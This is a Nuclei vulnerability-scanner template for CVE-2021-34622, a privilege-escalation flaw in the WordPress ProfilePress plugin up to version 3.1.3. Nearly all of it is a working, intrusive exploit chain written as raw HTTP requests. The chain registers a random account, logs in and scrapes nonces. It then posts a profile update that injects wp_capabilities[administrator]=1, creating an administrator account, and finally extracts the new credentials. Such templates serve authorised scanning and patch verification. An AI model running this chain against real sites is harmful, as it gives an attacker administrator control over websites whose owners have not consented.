复制
id: CVE-2021-34622
info:
name: WordPress ProfilePress <= 3.1.3 - Privilege Escalation
author: Sourabh-Sahu
severity: critical
description: |
ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including `wp_capabilities`, during profile updates. This enables a user to escalate their privileges to administrator.
reference:
- https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2021-34622
classification:
cve-id: CVE-2021-34622
epss-score: 0.45101
epss-percentile: 0.97446
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cwe-id: CWE-269
cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: properfraction
product: profilepress
fofa-query: body="/wp-content/plugins/profilepress"
tags: cve,cve2021,wordpress,wp-plugin,wp,profilepress,privilege-escalation,authenticated,intrusive,vkev,vuln
variables:
username: "user_{{to_lower(rand_base(5))}}"
password: "pass_{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
boundary: "WebKitFormBoundarypRyCNwmSkLdfNd7E"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
Accept-Encoding: gzip
--{{boundary}}
Content-Disposition: form-data; name="reg_username"
{{username}}
--{{boundary}}
Content-Disposition: form-data; name="reg_email"
{{email}}
--{{boundary}}
Content-Disposition: form-data; name="reg_password"
{{password}}
--{{boundary}}
Content-Disposition: form-data; name="reg_password_present"
true
--{{boundary}}
Content-Disposition: form-data; name="reg_first_name"
{{firstname}}
--{{boundary}}
Content-Disposition: form-data; name="reg_last_name"
{{lastname}}
--{{boundary}}
Content-Disposition: form-data; name="action"
pp_ajax_signup
--{{boundary}}--
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=pp_ajax_login&data=login_username%3D{{username}}%26login_password%3D{{password}}%26login_form_id%3D1
- raw:
- |
GET /account/edit-profile/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: wpnonce
group: 1
regex:
- 'name="_wpnonce"\s+value="([^"]+)"'
- "name='_wpnonce'\\s+value='([^']+)'"
internal: true
- type: regex
name: nonce
group: 1
regex:
- '"nonce"\s*:\s*"([^"]+)"'
- 'pp_ajax_form\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
Accept-Encoding: gzip
--{{boundary}}
Content-Disposition: form-data; name="reg_username"
{{username}}
--{{boundary}}
Content-Disposition: form-data; name="eup_email"
{{email}}
--{{boundary}}
Content-Disposition: form-data; name="eup_first_name"
{{firstname}}
--{{boundary}}
Content-Disposition: form-data; name="eup_last_name"
{{lastname}}
--{{boundary}}
Content-Disposition: form-data; name="eup_display_name"
{{firstname}} {{lastname}}
--{{boundary}}
Content-Disposition: form-data; name="_wpnonce"
{{wpnonce}}
--{{boundary}}
Content-Disposition: form-data; name="nonce"
{{nonce}}
--{{boundary}}
Content-Disposition: form-data; name="ppmyac_form_action"
updateProfile
--{{boundary}}
Content-Disposition: form-data; name="action"
pp_ajax_editprofile
--{{boundary}}
Content-Disposition: form-data; name="is_melange"
true
--{{boundary}}
Content-Disposition: form-data; name="wp_capabilities[administrator]"
1
--{{boundary}}--
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'success":true'
- 'Account was updated successfully'
condition: or
- type: status
status:
- 200
extractors:
- type: dsl
dsl:
- 'email'
- 'username'
- 'password'
# digest: 4a0a00473045022100dd7e5a2b0360afc5c823b5b70fe82d5fe296f4eaaa40afc5644d779dd1e4f31f022002de0ec782d7a0673d57ae666c8d2ea6ec2a441600a0c6b8573d1bcc4d4e56ec:922c64590222798bb761d5b6d8e72950